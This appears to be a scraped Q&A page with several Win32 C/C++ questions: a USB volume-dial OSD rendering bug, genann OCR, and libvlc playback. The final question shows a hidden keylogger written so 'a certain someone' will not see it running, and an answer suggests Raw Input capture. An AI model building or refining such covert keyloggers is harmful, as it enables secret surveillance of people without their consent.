Hi, please help me. This is a c/c++ project.
OBJECTIVE:
To create an OSD to show master volume that fades after a couple seconds.
CURRENT IMPLEMENTATION:
Much of the code is a collage, the fragments of which are pulled from libusbk examples and forums. The highlights of the code are:
Create a WS_POPUP window using CreateWindowEx - 129
Use ShowWindow during initialization of the window - 168
When the volume is changed, function SetOSDWidth (172) is called, which starts a timer, calls ShowWindow and calls SetWindowPos with the new width, determined by the new volume.
In the secondary(?) loop pluggedin() (277), the time elapsed since the last SetOSDWidth call is checked - if it's long enough, ShowWindow is called with the parameter SW_HIDE.
That's it!
IMMEDIATE RESULTS:
It works just as expected!
THE BUG - RESULTS AFTER SOME TIME:
When the bar is resized to a smaller width, it leaves behind a black artefact. It also does not extend wider than the width it was when it was hidden - rather, it weirdly gets smaller in the horizontal axis. In debug mode of VSExpress2010, the bug almost never shows up, but when running the debug .exe or release .exe on its own, it happens. And once it happens, EVEN RESTARTING (end process in taskmgr then double click executable) the .exe does not fix it.
This link leads to an image which illustrates the problem -
http://i.stack.imgur.com/DmrrN.jpg
THINGS I'VE TRIED
All kinds of window styes and other parameters in CreateWindowEx and ShowWindow. Mixing up the order. Trying with and without UpdateWindow. Too much reading in forums - time to write! :)
THE CODE
There are three files here.
U7VolumeDial.c containing WinMain
Volume.h containing definitions to call cpp from c
Volume.cpp containing functions for controlling volume
1)
//##############################
//January 2014
//ASUS U7 Volume Dial Workaround
//We define the vendor and product IDs
#define U7VID 0x1043
#define U7PID 0x857C
//Some definitions for the pipe
#define EP_ADDRESS 0x84
#define MAX_TRANSFER_SIZE 16
#define MAX_PENDING_TRANSFERS 32
#define MAX_PENDING_IO 3
//A whole bunch of includes
#include <Windows.h>
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <time.h>
//USB Library
#include "libusbk.h"
//Audio Code
#include "Volume.h"
//To process kill signal
#include <signal.h>
//GLOBALS
const char g_szClassName[] = "VolumeOSD";
BOOL timetodie=0;
int savencmdshow;
DWORD pluggedin();
DWORD notpluggedin();
//USB Handles
KUSB_DRIVER_API Usb;
KLST_HANDLE deviceList = NULL;
KLST_DEVINFO_HANDLE deviceInfo = NULL;
KUSB_HANDLE usbHandle = NULL;
KSTM_HANDLE streamHandle = NULL;
//USB Variables
DWORD errorCode = ERROR_SUCCESS;
DWORD transferLength = 0;
BOOL success;
UCHAR myBuffer[MAX_TRANSFER_SIZE * MAX_PENDING_IO];
UINT count = 0;
BOOL intheslot=0;
//Window Variables
WNDCLASSEX wc;
HWND hwnd;
MSG Msg;
//Timer Variables
clock_t start;
double timeout=5;
//Window Callback Function
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}
//Hotplug Callback Function
VOID KUSB_API OnHotPlug(
KHOT_HANDLE Handle,
KLST_DEVINFO_HANDLE DeviceInfo,
KLST_SYNC_FLAG NotificationType)
{
UNREFERENCED_PARAMETER(Handle);
if (NotificationType == KLST_SYNC_FLAG_ADDED)
{
printf("KHOTPLUG - ASUS U7 is ACTIVE\n");
// system("pause");
intheslot=1;
}
else
{
printf("KHOTPLUG - ASUS U7 is DISCONNECTED\n");
//system("pause");
intheslot=0;
}
}
//Creating the OSD
DWORD InitializeOSD(HINSTANCE hInstance, int nCmdShow)
{
//Step 1: Registering the Window Class
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = CS_HREDRAW;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = 0;//LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_HIGHLIGHT+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_szClassName;
wc.hIconSm = 0;//LoadIcon(NULL, IDI_APPLICATION);
if(!RegisterClassEx(&wc))
{
MessageBox(NULL, "Window Registration Failed!", "Error!",
MB_ICONEXCLAMATION | MB_OK);
return 0;
}
// Step 2: Creating the Window
hwnd = CreateWindowEx(
WS_EX_TOPMOST|WS_EX_LAYERED|WS_EX_NOACTIVATE,
g_szClassName,
"Volume",
WS_POPUP,
0,
0,
1280, 10,
NULL, NULL, hInstance, NULL);
#define transparencykey RGB(80,80,80)
#define opacity 254
SetLayeredWindowAttributes(
hwnd,
RGB(80,80,80),
opacity,
LWA_ALPHA);
// SetWindowLong(hwnd, GWL_STYLE, 0);
/* SetWindowPos(
hwnd,
HWND_TOPMOST,
0,
0,
700,
10,
SWP_NOSENDCHANGING);*/
if(hwnd == NULL)
{
MessageBox(NULL, "Window Creation Failed!", "Error!",
MB_ICONEXCLAMATION | MB_OK);
return 0;
}
ShowWindow(hwnd, nCmdShow);
// UpdateWindow(hwnd);
}
DWORD SetOSDWidth(int width)
{
if (((clock()-start)/(double) CLOCKS_PER_SEC)<timeout)
{
start=clock();
}
else
{
ShowWindow(hwnd, savencmdshow);
//UpdateWindow(hwnd);
start=clock();
}
SetWindowPos(
hwnd,
HWND_TOPMOST,
0,
0,
width,
10,
SWP_NOSENDCHANGING|SW_SHOWNOACTIVATE);
//UpdateWindow(hwnd);
return 0;
}
//Signal Callback Function
void signal_callback_handler(int signum)
{
timetodie=1;
SetOSDWidth(1280);
exit(signum);
}
//main routine
//DWORD __cdecl main(int argc, char* argv[])
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
DWORD errorCode = ERROR_SUCCESS;
KHOT_HANDLE hotHandle = NULL;
KHOT_PARAMS hotParams;
savencmdshow=nCmdShow;
InitializeOSD(hInstance,nCmdShow);
memset(&hotParams, 0, sizeof(hotParams));
hotParams.OnHotPlug = OnHotPlug;
hotParams.Flags |= KHOT_FLAG_PLUG_ALL_ON_INIT;
strcpy(hotParams.PatternMatch.DeviceInterfaceGUID, "*");
printf("Initialize a HotK device notification event monitor..\n");
printf("Looking for 'DeviceInterfaceGUID's matching the pattern'%s'..\n", hotParams.PatternMatch.DeviceInterfaceGUID);
if (!HotK_Init(&hotHandle, &hotParams))
{
errorCode = GetLastError();
printf("HotK_Init failed. ErrorCode: %08Xh\n", errorCode);
//system("pause");
goto DoneHot;
}
printf("HotK monitor initialized successfully!\n");
//printf("Press 'q' to exit...\n\n");
//Register signal handler
// signal(SIGINT, signal_callback_handler);
// signal(3, signal_callback_handler);
// signal(SIGTERM, signal_callback_handler);
//Infinite Loop
for(;;)
{
if (intheslot==1)
{
pluggedin();
}
Sleep(100);
if (timetodie==1)
{
goto outtheinfinite;
}
}
outtheinfinite:
if (!HotK_Free(hotHandle))
{
errorCode = GetLastError();
printf("HotK_Free failed. ErrorCode: %08Xh\n", errorCode);
goto DoneHot;
}
printf("HotK monitor closed successfully!\n");
DoneHot:
return errorCode;
}
DWORD pluggedin()
{
// int loop;
// int bigloop;
InitVolumeControl();
//Register signal handler
//signal(SIGINT, signal_callback_handler);
//signal(SIGTERM, signal_callback_handler);
//USB Stuff
//Create a LstK object
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
{
errorCode = GetLastError();
printf("An error occured getting the device list. errorCode=%08Xh\n", errorCode);
//system("pause");
return errorCode;
}
//Get the number of devices
LstK_Count(deviceList, &count);
if (!count)
{
printf("No devices connected.\n");
// Always free the device list if LstK_Init returns TRUE
LstK_Free(deviceList);
//system("pause");
return ERROR_DEVICE_NOT_CONNECTED;
}
//Find ASUS U7
if (LstK_FindByVidPid(deviceList, U7VID, U7PID, &deviceInfo))
{
printf("LstK_FindByVidPid: ASUS U7 is connected.\n\n");
printf("Bus Number %u\n",deviceInfo->BusNumber);
printf("ClassGUID %s\n",deviceInfo->ClassGUID);
printf("InstanceID %s\n",deviceInfo->Common.InstanceID);
printf("VendorID 0x%04X\n",deviceInfo->Common.Vid);
printf("ProductID 0x%04X\n",deviceInfo->Common.Pid);
printf("CompositeInterface %u\n",deviceInfo->Common.MI);
printf("Connected %u\n",deviceInfo->Connected);
printf("Device Address %u\n",deviceInfo->DeviceAddress);
printf("DeviceDesc %s\n",deviceInfo->DeviceDesc);
printf("DeviceID %s\n",deviceInfo->DeviceID);
printf("DeviveInterfaceGUID %s\n",deviceInfo->DeviceInterfaceGUID);
printf("Device Path\n%s\n",deviceInfo->DevicePath);
printf("DriverID %u\n",deviceInfo->DriverID);
printf("LUsb0FilterIndex %u\n",deviceInfo->LUsb0FilterIndex);
printf("Manufacturer %s\n",deviceInfo->Mfg);
printf("SerialNumber %s\n",deviceInfo->SerialNumber);
printf("Service %s\n",deviceInfo->Service);
printf("SymbolicLink\n%s\n",deviceInfo->SymbolicLink);
printf("SyncFlags %08Xh\n",deviceInfo->SyncFlags);
}
else
{
printf("ASUS U7 not found.\n");
//system("pause");
}
//
if (deviceInfo)
{
BOOL success = LibK_SetContext(deviceInfo, KLIB_HANDLE_TYPE_LSTINFOK, 1);
if (success)
{
UINT_PTR myValue = LibK_GetContext(deviceInfo, KLIB_HANDLE_TYPE_LSTINFOK);
printf("\nMyContextValue = %u\n", myValue);
}
}
//Load API
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
//Initialize the device to create physical usb handle
if (!Usb.Init(&usbHandle, deviceInfo))
{
errorCode = GetLastError();
printf("Usb.Init failed. ErrorCode: %08Xh\n", errorCode);
//system("pause");
return errorCode;
}
printf("\nASUS U7 libusb filter API opened successfully!\n");
//Initialize stream handle
success = StmK_Init(
&streamHandle,
usbHandle,
EP_ADDRESS,
MAX_TRANSFER_SIZE,
MAX_PENDING_TRANSFERS,
MAX_PENDING_IO,
NULL,
KSTM_FLAG_NONE);
if (!success)
{
errorCode = GetLastError();
printf("StmK_Init failed. ErrorCode: %08Xh\n", errorCode);
//system("pause");
return errorCode;
}
printf("\nStream Handler Initialized\n");
//Start the stream
success = StmK_Start(streamHandle);
if (!success)
{
errorCode = GetLastError();
printf("StmK_Start failed. ErrorCode: %08Xh\n", errorCode);
//system("pause");
return errorCode;
}
printf("\n[Start Stream] successful!\n");
while(_kbhit()) _getch();
do
{
ULONG length;
if (((clock()-start)/(double) CLOCKS_PER_SEC)>timeout)
{
ShowWindow(hwnd, SW_HIDE);
}
if (intheslot==0)
{
//Stop the stream
success = StmK_Stop(streamHandle, 0);
if (!success)
{
errorCode = GetLastError();
printf("StmK_Stop failed. ErrorCode: %08Xh\n", errorCode);
goto Done;
}
printf("[Stop Stream] successful!\n");
goto Done;
}
success = StmK_Read(streamHandle, myBuffer, 0, sizeof(myBuffer), &length);
if (success)
{
//printf("%u%",length);
if (myBuffer[0]==0x01)
{VolumeUp();}
if ((length>16)&&(myBuffer[15]==0x01))
{VolumeUp();}
if ((length>32)&&(myBuffer[31]==0x01))
{VolumeUp();}
if (myBuffer[0]==0x02)
{VolumeDown();}
if ((length>16)&&(myBuffer[15]==0x02))
{VolumeDown();}
if ((length>32)&&(myBuffer[31]==0x02))
{VolumeDown();}
// for (bigloop=0;bigloop<4;bigloop+=1)
// {
// for (loop=0;loop<16;loop+=1)
// {
// printf("%02X ",myBuffer[bigloop*16+loop]);
// }
// printf("\n");
// }
// printf("\n\n");
}
else
{
if (timetodie==1)
{
goto Done;
}
Sleep(20);
// If the return result is ERROR_NO_MORE_ITEMS then there is no more data
// to read. Other errors indicate a problem.
//if (GetLastError() != ERROR_NO_MORE_ITEMS)
//{
// break;
//}
//else
//{
// ..Emulate some work..
// Sleep(20);
//}
}
}
while(!_kbhit());
Done:
// Destroy the OSD
DestroyWindow(hwnd);
printf("Maybe I killed the OSD, maybe not");
// Free the stream handle.
if (streamHandle)
{
StmK_Free(streamHandle);
printf("Stream Handle Freed\n");
}
// Free the usb handle.
UsbK_Free(usbHandle);
printf("USB Handle Freed\n");
// Free the device list.
LstK_Free(deviceList);
printf("USB Device Enumeration Handle Freed\n");
DeInitVolumeControl();
printf("\n\n");
//system("pause");
return errorCode;
}'
2) Phew - thanks, don't want to miss anything - here's the header for the cpp stuff
#ifdef __cplusplus
//HRESULT hr;
//IMMDeviceEnumerator *DeviceEnumerator;
//IMMDevice *DefaultDevice;
//IAudioEndpointVolume *EndpointVolume;
extern "C" void InitVolumeControl();
extern "C" void VolumeUp();
extern "C" void VolumeDown();
extern "C" void DeInitVolumeControl();
#endif
#ifndef __cplusplus
void InitVolumeControl();
void VolumeUp();
void VolumeDown();
void DeInitVolumeControl();
#endif
3) And finally the cpp volume control
#define _WIN32_WINNT 0x0601
#define WINVER 0x0601
#include <stdio.h>
#include "Volume.h"
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <math.h>
//Audio Handles/Pointers
HRESULT hr = NULL;
IMMDeviceEnumerator *DeviceEnumerator = NULL;
IMMDevice *DefaultDevice = NULL;
IAudioEndpointVolume *EndpointVolume = NULL;
float VolumeLevel = 0;
int NewOSDWidth;
extern "C" DWORD SetOSDWidth(int width);
void InitVolumeControl()
{
//Audio Stuff
//Initialize COM
CoInitialize(NULL);
//Initialize Device Enumerator
hr = CoCreateInstance( __uuidof(MMDeviceEnumerator),
NULL,
CLSCTX_INPROC_SERVER,
__uuidof(IMMDeviceEnumerator),
(LPVOID *)&DeviceEnumerator );
//Find Default Audio Device
hr = DeviceEnumerator->GetDefaultAudioEndpoint(eRender,eConsole,&DefaultDevice);
//Find Endpoint Volume
hr = DefaultDevice->Activate( __uuidof(IAudioEndpointVolume),
CLSCTX_INPROC_SERVER,
NULL,
(LPVOID *)&EndpointVolume);
EndpointVolume->GetMasterVolumeLevelScalar(&VolumeLevel);
NewOSDWidth=floorf(VolumeLevel*1280);
SetOSDWidth(NewOSDWidth);
}
void VolumeUp()
{
if(EndpointVolume->VolumeStepUp(NULL))
{
printf("Endpoint Volume Error - Reinitialising");
EndpointVolume->Release();
DefaultDevice->Release();
hr = DeviceEnumerator->GetDefaultAudioEndpoint(eRender,eConsole,&DefaultDevice);
hr = DefaultDevice->Activate( __uuidof(IAudioEndpointVolume),
CLSCTX_INPROC_SERVER,
NULL,
(LPVOID *)&EndpointVolume);
EndpointVolume->VolumeStepUp(NULL);
}
EndpointVolume->GetMasterVolumeLevelScalar(&VolumeLevel);
NewOSDWidth=floor(VolumeLevel*1280);
SetOSDWidth(NewOSDWidth);
}
void VolumeDown()
{
if(EndpointVolume->VolumeStepDown(NULL))
{
printf("Endpoint Volume Error - Reinitialising");
EndpointVolume->Release();
DefaultDevice->Release();
hr = DeviceEnumerator->GetDefaultAudioEndpoint(eRender,eConsole,&DefaultDevice);
hr = DefaultDevice->Activate( __uuidof(IAudioEndpointVolume),
CLSCTX_INPROC_SERVER,
NULL,
(LPVOID *)&EndpointVolume);
EndpointVolume->VolumeStepDown(NULL);
}
EndpointVolume->GetMasterVolumeLevelScalar(&VolumeLevel);
NewOSDWidth=floor(VolumeLevel*1280);
SetOSDWidth(NewOSDWidth);
}
void DeInitVolumeControl()
{
DeviceEnumerator->Release();
DeviceEnumerator=NULL;
printf("AUDIO Device Enumerator Released\n");
DefaultDevice->Release();
DefaultDevice=NULL;
printf("AUDIO Device Released\n");
EndpointVolume->Release();
EndpointVolume=NULL;
printf("Endpoint Volume Released\n");
CoUninitialize();
printf("COM Objects Released\n");
}
Any input would be greatly appreciated. As an aside, if you've waded through that stuff above, you'll notice that it's to do with the external soundcard sold by ASUS, the XONAR U7 - after buying it and installing in Win7-64, the volume dial wasn't functional. I got hold of the main dudes and they told me, without explanation, to send it to a repair centre...? A quick look using a USB monitor showed output when the dial was turned - so either a driver problem, or firmware not sending HID like it should be? Repair centre... pffft, something smells.
Related
I'm using the genann library https://github.com/codeplea/genann for neural networks, I have used this library mainly because it is very easy to integrate with my c/c++ projects in dev-c++ as it is just an .h file without dependencies and it is done with "c" which I think is easier for me to port to other systems.
I am trying to do an OCR so that the neural network tells me if a image is a specific letter, but I can't make the neural network understand what I want to do, could you give me a simple example of how pass the pixel data of the images to the network with this library.
update:
use this library to load the images https://github.com/nothings/stb i am using the dev-c++ IDE image 0.jpg is a letter "A" drawn with paint, image 1.jpg AND 3.jpg is the letter "B" but a little different from each other.
this is what i tried, excuse some parts of my code are in spanish:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "genann.h"
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <string.h>
#include <string>
#include <map>
#include <vector>
using namespace std;
struct IMAGEN {
int ancho;
int alto;
int canales; // r,g,b,a
vector<int> pixeles;
};
IMAGEN letraA;
IMAGEN letraB;
IMAGEN letraB2;
bool cargarImagen(char *ruta,IMAGEN &v) {
int x,y,n;
unsigned char *data = stbi_load(ruta, &x, &y, &n, 0);
if (data) {
v.ancho = x;
v.alto = y;
v.canales = n;
int total = x*y*n;
for(int i = 0; i < total; i++) {
v.pixeles.push_back(data[i]);
}
stbi_image_free(data);
return true;
}else{
stbi_image_free(data);
return false;
}
}
void pintarImagen(HWND &hwnd,IMAGEN &v,float x,float y) {
PAINTSTRUCT ps;
RECT r;
HDC hdc = BeginPaint(hwnd, &ps);
GetClientRect(hwnd, &r);
for(int yy = 0; yy < v.alto; yy++) {
for(int xx = 0; xx < v.ancho; xx++) {
int r = v.pixeles[yy*v.ancho*v.canales+xx*v.canales+0];
int g = v.pixeles[yy*v.ancho*v.canales+xx*v.canales+1];
int b = v.pixeles[yy*v.ancho*v.canales+xx*v.canales+2];
SetPixel(hdc, x+xx, y+yy, RGB(r, g, b));
}
}
EndPaint(hwnd, &ps);
}
int prepararInputs(double* &inputs,IMAGEN &letraA) {
inputs = new double [letraA.alto*letraA.ancho*letraA.canales];
for(int yy = 0; yy < letraA.alto; yy++) {
for(int xx = 0; xx < letraA.ancho; xx++) {
double r = letraA.pixeles[yy*letraA.ancho*letraA.canales+xx*letraA.canales+0] / 255;
double g = letraA.pixeles[yy*letraA.ancho*letraA.canales+xx*letraA.canales+1] / 255;
double b = letraA.pixeles[yy*letraA.ancho*letraA.canales+xx*letraA.canales+2] / 255;
inputs[yy*letraA.ancho*letraA.canales+xx*letraA.canales+0] = r;
inputs[yy*letraA.ancho*letraA.canales+xx*letraA.canales+1] = g;
inputs[yy*letraA.ancho*letraA.canales+xx*letraA.canales+2] = b;
}
}
return letraA.ancho;
}
/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) {
switch(Message) {
case WM_PAINT:
{
//pintarImagen(hwnd,letraA,50,50);
pintarImagen(hwnd,letraB2,100,250);
}
break;
case WM_CREATE:
{
if( cargarImagen((char*)"0.jpg",letraA) == false ) {
printf("0.jpg no cargo.\n");
}
if( cargarImagen((char*)"1.jpg",letraB) == false ) {
printf("1.jpg no cargo.\n");
}
if( cargarImagen((char*)"3.jpg",letraB2) == false ) {
printf("3.jpg no cargo.\n");
}
printf("GENANN example 1.\n");
printf("Train a small ANN to the XOR function using backpropagation.\n");
/* This will make the neural network initialize differently each run. */
/* If you don't get a good result, try again for a different result. */
srand(time(0));
int CapasOcultas = letraA.ancho*2;
int Neuronas = 100;
const double output[][2] = { // a,b
{1,0},
{0,1}
};
int i;
double *LETRA_A_INPUT = NULL;
prepararInputs(LETRA_A_INPUT,letraA);
double *LETRA_B_INPUT = NULL;
prepararInputs(LETRA_B_INPUT,letraB);
double *LETRA_B2_INPUT = NULL;
prepararInputs(LETRA_B2_INPUT,letraB2);
/* New network with 2 inputs,
* 1 hidden layer of 2 neurons,
* and 1 output. */
genann *ann = genann_init(letraA.pixeles.size(), CapasOcultas, Neuronas, 2);
/* Train on the four labeled data points many times. */
for (i = 0; i < 500; ++i) {
genann_train(ann, LETRA_A_INPUT, output[0], 3);
genann_train(ann, LETRA_B_INPUT, output[1], 3);
}
/* Run the network and see what it predicts. */
double *r = NULL;
prepararInputs(r,letraB2);
double *resultado = (double*)genann_run(ann, r);
printf("Output for Letra A is [%1.f,%1.f].\n", resultado[0], resultado[1] );
genann_free(ann);
if(r!=NULL) {
delete[] r;
r = NULL;
}
if(LETRA_A_INPUT!=NULL) {
delete[] LETRA_A_INPUT;
LETRA_A_INPUT = NULL;
}
if(LETRA_B_INPUT!=NULL) {
delete[] LETRA_B_INPUT;
LETRA_B_INPUT = NULL;
}
if(LETRA_B2_INPUT!=NULL) {
delete[] LETRA_B2_INPUT;
LETRA_B2_INPUT = NULL;
}
}
break;
case WM_DESTROY: {
PostQuitMessage(0);
break;
}
default:
return DefWindowProc(hwnd, Message, wParam, lParam);
}
return 0;
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
WNDCLASSEX wc; /* A properties struct of our window */
HWND hwnd; /* A 'HANDLE', hence the H, or a pointer to our window */
MSG msg; /* A temporary location for all messages */
/* zero out the struct and set the stuff we want to modify */
memset(&wc,0,sizeof(wc));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = WndProc; /* This is where we will send messages to */
wc.hInstance = hInstance;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
/* White, COLOR_WINDOW is just a #define for a system color, try Ctrl+Clicking it */
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszClassName = "WindowClass";
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); /* Load a standard icon */
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); /* use the name "A" to use the project icon */
if(!RegisterClassEx(&wc)) {
MessageBox(NULL, "Window Registration Failed!","Error!",MB_ICONEXCLAMATION|MB_OK);
return 0;
}
hwnd = CreateWindowEx(WS_EX_CLIENTEDGE,"WindowClass","Caption",WS_VISIBLE|WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, /* x */
CW_USEDEFAULT, /* y */
640, /* width */
480, /* height */
NULL,NULL,hInstance,NULL);
if(hwnd == NULL) {
MessageBox(NULL, "Window Creation Failed!","Error!",MB_ICONEXCLAMATION|MB_OK);
return 0;
}
/*
This is the heart of our program where all input is processed and
sent to WndProc. Note that GetMessage blocks code flow until it receives something, so
this loop will not produce unreasonably high CPU usage
*/
while(GetMessage(&msg, NULL, 0, 0) > 0) { /* If no error is received... */
TranslateMessage(&msg); /* Translate key codes to chars if present */
DispatchMessage(&msg); /* Send it to WndProc */
}
return msg.wParam;
}
I have tried to use tensorflow for "C" but it has been very difficult to install even using Microsoft Visual Studio, and I can't find anything prebuilt to use tensorflow with dev-c++, the genann library is my solution for the moment but I'm I stopped at this part and I need help, thank you very much for the help :D
I'm using libvlc to display the video stream after capturing the ts fragments exposed by m3u8 index files. I have never used libvlc before. According some tutorials, the following lines:
libvlc_instance_t* inst;
libvlc_media_player_t* mp;
libvlc_media_t* m;
inst=libvlc_new(0,NULL);
m=libvlc_media_new_path(inst,"...");
mp=libvlc_media_player_new_from_media(m);
libvlc_media_release(m);
//For windows. binding the displaying window.
libvlc_media_player_set_hwnd(mp,hwnd);
libvlc_media_player_play(mp);
Sleep(3000);
libvlc_media_player_stop(mp);
libvlc_media_player_release(mp);
libvlc_release(inst);
It seems you just need to call few functions and set some parameters for some initialization and then binding the window to display the video resource, libvlc should know how to do the coding and decoding works and display the stream. After all of those works done, release the resource. Sound pretty convenient.
After following those codes, the window just flickered once and exited. I don't know why yet.
My code is something like this:
int test(HWND hwnd)
{
//const char* version=libvlc_get_version();
//const char* compiler=libvlc_get_compiler();
//const char* changeset=libvlc_get_changeset();
//printf("Libvlc.\n");
//printf("Version:%s\n",version);
//printf("Compiler:%s\n",compiler);
//printf("Changeset:%s\n",changeset);
libvlc_instance_t* inst;
libvlc_media_player_t* mp;
libvlc_media_t* m;
inst=libvlc_new(0,NULL);
m=libvlc_media_new_path(inst,"my video resource file path...");
mp=libvlc_media_player_new_from_media(m);
libvlc_media_release(m);
//For windows. binding the displaying window.
libvlc_media_player_set_hwnd(mp,hwnd);
libvlc_media_player_play(mp);
Sleep(3000);
libvlc_media_player_stop(mp);
libvlc_media_player_release(mp);
libvlc_release(inst);
return 0;
}
int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, PSTR szcmdLine, int icmdshow)
{
HWND hwnd=NULL;
InitCommonControls();
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
if(Frame_Register(hinstance)!=0) {
MessageBox(NULL,"window register failed","Sorry",MB_OK|MB_ICONERROR);
return 0;
}
if(NULL==(hwnd=Frame_Create(hinstance,1200,600))) return 0;
Frame_Test(hwnd);
return Frame_Run(hwnd);
}
int regist_window(char* class_name,HINSTANCE instance,WNDPROC proc)
{
WNDCLASSEX wndclass;
wndclass.cbSize=sizeof(wndclass);
wndclass.style = CS_DBLCLKS|CS_HREDRAW|CS_VREDRAW;
wndclass.lpfnWndProc = proc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = instance;
wndclass.hIcon = NULL;
wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(0,0,0));
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = class_name;
wndclass.hIconSm = NULL;
if(!RegisterClassEx(&wndclass)) return -1;
return 0;
}
HWND Frame_Create(HINSTANCE instance,int width,int height)
{
int cx,cy;
POINT pt;
cx=GetSystemMetrics(SM_CXSCREEN);
cy=GetSystemMetrics(SM_CYSCREEN);
pt.x=(cx-width)>>1;
pt.y=(cy-height)>>1;
HWND hwnd=CreateWindowEx(NULL,
WINDOW_CLASS_NAME,
"Docker Frame Capture",
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_HSCROLL|WS_CLIPCHILDREN,
pt.x,pt.y,width,height,NULL,
(HMENU)NULL,
instance,NULL);
// Some owner-drawing and data referring to the customized window.
Frame_InitialSettings(hwnd);
return hwnd;
}
int Frame_Run(HWND frame)
{
MSG msg;
while(GetMessage(&msg,NULL,0,0)) {
if(!IsDialogMessage(frame,&msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
GdiplusShutdown(gdiplusToken);
return(msg.wParam);
}
int Frame_Test(HWND hwnd)
{
//create a child window , as a container for vlc player.
RECT rc;
GetClientRect(hwnd,&rc);
int width=rc.right-rc.left,height=rc.bottom-rc.top;
HWND vlc_hwnd=CreateWindowEx(NULL,
WC_STATIC,
"",
WS_CHILD|WS_VISIBLE,
0,0,width,height,hwnd,
(HMENU)NULL,//LoadMenu(instance,"IDR_FRMENU"),
(HINSTANCE)GetWindowLongPtr(hwnd,GWLP_HINSTANCE),NULL);
test(vlc_hwnd);
return 0;
}
New addings:
the function libvlc_new return null, libvlc_errmsg() return null string.
Modified 7th July:
Problem figured out, You must copy the plugsin folder of libvlc to your project.
The goal is to create a program that logs keystrokes and writes it into a text file. Currently, just tapping a key will write that key a hundred times so I'm trying to slow it down a bit.
However, using Sleep() will prevent this whole code from doing anything at all unless I use Sleep(0) (which, as I understand, means "Do not let lower priority threads run").
Code:
// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{
FILE* write;
char running = 1;
fopen_s(&write, "typelog.txt", "w");
while (running)
{
_Bool keytoggle;
char key;
// Go from A to Z and see if the key for that was pressed
for (int i = 0x41; i < 0x5A; i++)
{
// Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;
if (keytoggle)
{
key = i; // save the key that was pressed
break;
}
}
// If the key was pressed, write it, otherwise write a space
if (keytoggle)
{
if (write)
fprintf(write, "%c", key);
}
else
{
if (write)
fprintf(write, " ");
}
// Sleep for like, just one millisecond please
Sleep(1);
}
return 0;
}
I have heard that using Sleep, even for a 1ms, can be extended to 20ms because of the system timer. Is that the case? Even if it was, why would the code not be executed at all?
I've searched for an hour or so and found nothing. If you can help it'd be great.
With debugging, the problem is your txt handle is not closed when calling Sleep(1). You can use Message-Only Windows and Raw Input to achieve your goal. For example:
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Store instance handle in our global variable
HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
RawInput(hWnd);
return TRUE;
}
and
#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)
{
UINT dwSize = 0;
HRESULT hResult;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
{
return 0;
}
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
WCHAR szTempOutput[BUFFER];
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
